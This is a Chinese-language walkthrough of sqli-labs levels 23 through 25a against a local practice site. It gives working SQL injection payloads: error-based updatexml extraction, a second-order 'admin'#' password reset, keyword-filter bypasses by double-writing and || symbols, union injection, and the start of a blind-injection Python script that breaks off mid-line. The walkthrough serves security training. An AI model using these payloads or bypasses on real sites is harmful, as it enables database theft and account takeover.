Less-23
从这里开始应该是有做了防护,我们可以边看源代码练习代码审计,一边学习各种过waf的技巧了,这一题查看源代码的话发现注释符被过滤掉了
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
但其实对于这一句SQL语句,我们可以直接单引号闭合而不用注释去把后面的东西给省略掉
http://127.0.0.1/sqlilabs/Less-23/?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) or '1'='1
直接报出数据库,此题完结
Less-24
这一题应该是设计二次注入的题目
在CTF题目里面的话肯定是要你获取admin的账号然后改变admin的密码用admin账号登录获取flag
这里主要关键是pass_change.php这里面的代码
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' "
若我们在修改密码的时候
注册一个admin’#
的用户就是为了后期能够使这一句话后面的内容全都注释的,从而直接更新的是admin
的用户名
这时候的语句就会变成
UPDATE users SET PASSWORD='$pass' where username='admin'
改你想要密码,然后退出在直接用admin登录就好
Less-25
这一题看源代码会发现有一个黑名单
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
把or还有AND都会替换成为""
,这里是大小写都会被拦截下来的
这时候其实可以有几个办法能够绕过
(1)大小写变形Or,OR,oR
(2)编码,hex,urlencode
(3)添加注释/*or*/
(4)利用符号and=&& or=||
(5)双写绕过
输入一个单引号会出现单引号的报错,所以我们尝试闭合一下
http://127.0.0.1/sqlilabs/Less-25/?id=1%27 %23
成功出现回显
我这里选择用双写绕过
http://127.0.0.1/sqlilabs/Less-25/?id=1' aandnd updatexml(1,concat(0x7e,database(),0x7e),1) %23
符号绕过
http://127.0.0.1/sqlilabs/Less-25/?id=1' || updatexml(1,concat(0x7e,database(),0x7e),1) %23
Less-25a
跟上面一题同样的过滤方式,语句变简单了,不用单引号去闭合
但是这一题不能再用报错注入,因为源码中把报错信息给注释掉了,可以用盲注,我们需要用的是union注入或者是盲注
union注入
http://127.0.0.1/sqlilabs/Less-25a/?id=-1 union select 1,database(),3%23
再来一个二分法盲注,通过注入成功还会显示登录名这个标志
import requests
import time
url = '''http://127.0.0.1/sqlilabs/Less-25a/?id=1 aandnd ascii(substr(database(),{_},1))>{__}%23''